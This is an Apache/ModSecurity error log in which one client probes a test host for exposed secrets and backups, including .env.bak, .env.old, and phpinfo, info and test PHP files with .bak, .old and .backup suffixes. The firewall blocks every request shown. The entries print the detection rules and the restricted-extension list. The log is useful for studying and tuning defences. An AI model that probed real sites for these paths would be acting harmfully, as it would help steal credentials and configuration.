[Sun Oct 26 01:25:43.353349 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aP1cdxXkZeq6T3EwQbX-2gAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:43.353566 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aP1cdxXkZeq6T3EwQbX-2gAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:43.958652 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aP1cdxXkZeq6T3EwQbX-2wAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:43.958837 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aP1cdxXkZeq6T3EwQbX-2wAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:43.959078 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aP1cdxXkZeq6T3EwQbX-2wAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:43.959274 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aP1cdxXkZeq6T3EwQbX-2wAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:26:27.059041 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.bak"] [unique_id "aP1co0zaR8lgJrImiX9UJAAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:27.059698 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.bak"] [unique_id "aP1co0zaR8lgJrImiX9UJAAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:27.059880 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.bak"] [unique_id "aP1co0zaR8lgJrImiX9UJAAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:27.666451 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.bak"] [unique_id "aP1co0zaR8lgJrImiX9UJQAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:27.667297 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.bak"] [unique_id "aP1co0zaR8lgJrImiX9UJQAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:27.667521 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.bak"] [unique_id "aP1co0zaR8lgJrImiX9UJQAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:28.273536 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.bak"] [unique_id "aP1cpEzaR8lgJrImiX9UJgAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:28.274298 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.bak"] [unique_id "aP1cpEzaR8lgJrImiX9UJgAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:28.274571 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.bak"] [unique_id "aP1cpEzaR8lgJrImiX9UJgAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:28.881928 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.bak"] [unique_id "aP1cpEzaR8lgJrImiX9UJwAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:28.882757 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.bak"] [unique_id "aP1cpEzaR8lgJrImiX9UJwAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:28.882998 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.bak"] [unique_id "aP1cpEzaR8lgJrImiX9UJwAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:29.489569 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.old"] [unique_id "aP1cpUzaR8lgJrImiX9UKAAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:29.490397 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.old"] [unique_id "aP1cpUzaR8lgJrImiX9UKAAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:29.490641 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.old"] [unique_id "aP1cpUzaR8lgJrImiX9UKAAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:30.118726 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.old"] [unique_id "aP1cpkzaR8lgJrImiX9UKQAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:30.119383 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.old"] [unique_id "aP1cpkzaR8lgJrImiX9UKQAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:30.119591 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.old"] [unique_id "aP1cpkzaR8lgJrImiX9UKQAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:30.754637 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.old"] [unique_id "aP1cpkzaR8lgJrImiX9UKgAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:30.755348 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.old"] [unique_id "aP1cpkzaR8lgJrImiX9UKgAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:30.755574 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.old"] [unique_id "aP1cpkzaR8lgJrImiX9UKgAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:31.372428 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.old"] [unique_id "aP1cp0zaR8lgJrImiX9UKwAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:31.373111 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.old"] [unique_id "aP1cp0zaR8lgJrImiX9UKwAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:31.373371 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.old"] [unique_id "aP1cp0zaR8lgJrImiX9UKwAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:39.205722 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.backup"] [unique_id "aP1cr0zaR8lgJrImiX9UMAAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:39.206431 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.backup"] [unique_id "aP1cr0zaR8lgJrImiX9UMAAAAAM"], referer: https://www.google.com/
